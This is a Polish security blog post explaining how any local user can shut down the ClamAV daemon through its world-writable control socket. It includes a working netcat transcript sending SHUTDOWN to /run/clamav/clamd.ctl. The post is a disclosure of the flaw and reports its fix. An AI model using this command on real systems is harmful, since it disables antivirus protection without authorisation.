Gasimy clamd jako zwykły użytkownik

nfsec.pl 1 rok temu

C

lamAV to silnik antywirusowy typu open source, który jest szeroko stosowany na serwerach pocztowych oraz różnych komercyjnych, „zamkniętych skrzynkach”. 15 lutego 2023 roku na blogu programu został opublikowany biuletyn bezpieczeństwa szczegółowo opisujący potencjalną lukę umożliwiającą zdalne wykonanie kodu w swoim parserze systemu plików HFS+ (głównym problemem jest brak sprawdzania rozmiaru podczas kopiowania bloków do bufora węzła). Luce tej nadano CVE: CVE-2023-20032. Co interesujące podczas analizy poprawek tych luk Jared Stroud natknął się na otwarty pull request wskazujący, iż nieuprzywilejowani użytkownicy mogą wyłączyć daemona clamav.

By default, any arbitrary user is able to use the userspace socket file
to shutdown the clamd daemon. This adds a check for connections to the
local socket server, ensuring that only root is able to do this.

Zgodnie z opisem każdy użytkownik może wejść w interakcję z gniazdem lokalnej komunikacji międzyprocesowej ClamAV, aby wyłączyć jego główny proces. Dla przypomnienia gniazda unix są formą komunikacji w systemie Linux służącej do wydajnej komunikacji pomiędzy procesami na tej samej maszynie bez nasłuchiwania na porcie i obsługi wszystkich dodatkowych narzutów związanych z wysyłaniem danych przez połączenie sieciowe. dzięki polecenia pidof oraz lsof wyświetlmy listę wszystkich otwartych plików dla identyfikatora procesu clamd i przefiltrujmy je pod kątem gniazd uniksowych:

root@darkstar:~# lsof -p `pidof clamd` | grep 'type=STREAM' clamd 3395266 clamav 1u unix 0xffff8ddb36a93c00 0t0 635766477 type=STREAM clamd 3395266 clamav 2u unix 0xffff8ddb36a93c00 0t0 635766477 type=STREAM clamd 3395266 clamav 5u unix 0xffff8ddb75712800 0t0 635768024 type=STREAM clamd 3395266 clamav 6u unix 0xffff8dd9f89c9c00 0t0 ... /run/clamav/clamd.ctl type=STREAM

Następnie sprawdzamy jakie są uprawnienia do pliku /run/clamav/clamd.ctl:

root@darkstar:~# ls -al /run/clamav/clamd.ctl srw-rw-rw- 1 clamav clamav 0 Feb 22 21:33 /run/clamav/clamd.ctl

Jak widzimy, uprawnienia do tego pliku pozwalają każdemu na odczyt lub zapis. W ten sposób zwykły użytkownik będzie mógł wydawać polecenia (man clamd) daemonowi ClamAV. Poniższy listing pokazuje osiągnięcie manualnego wyłączenia daemona ClamAV przez użytkownika agresor z wykorzystaniem polecenia netcat.

agresor@darkstar:~$ nc -U /run/clamav/clamd.ctl PING PONG agresor@darkstar:~$ nc -U /run/clamav/clamd.ctl VERSION ClamAV 0.103.6/26820/Wed Feb 22 09:30:58 2023 agresor@darkstar:~$ nc -U /run/clamav/clamd.ctl SHUTDOWN agresor@darkstar:~$ lsof -p `pidof clamd` lsof: no process ID specified agresor@darkstar:~# ps xuaw | grep clam clamav 692 0.0 0.1 147180 9808 ? Ss 2022 8:05 /usr/bin/freshclam root 3432926 0.0 0.0 8160 2520 pts/0 S+ 22:29 0:00 grep --color=auto clam

Jak widzimy daemon ClamAV został zgaszony, a w liście procesów pozostał tylko proces odpowiedzialny za odświeżanie definicji wirusów. Sedno problemu polega na tym, iż użytkownik musi mieć możliwość wyzwalania skanowania plików, dlatego wymagany jest zapis na tym gnieździe. zwykle funkcja ta jest uruchamiana przez clamscan. Nie zastosowano jednak ograniczeń co do tego jakie polecenia może wykonywać użytkownik. Dlatego polecenie powodujące zgaszenie procesu (SHUTDOWN) powinno wymagać uprawnień administracyjnych i właśnie tego dotyczy poprawka. Badacz bezpieczeństwa, który wychwycił lukę zgłosił już choćby moduł do Metasploit.

Więcej informacji: Disabling ClamAV as an Unprivileged User

Idź do oryginalnego materiału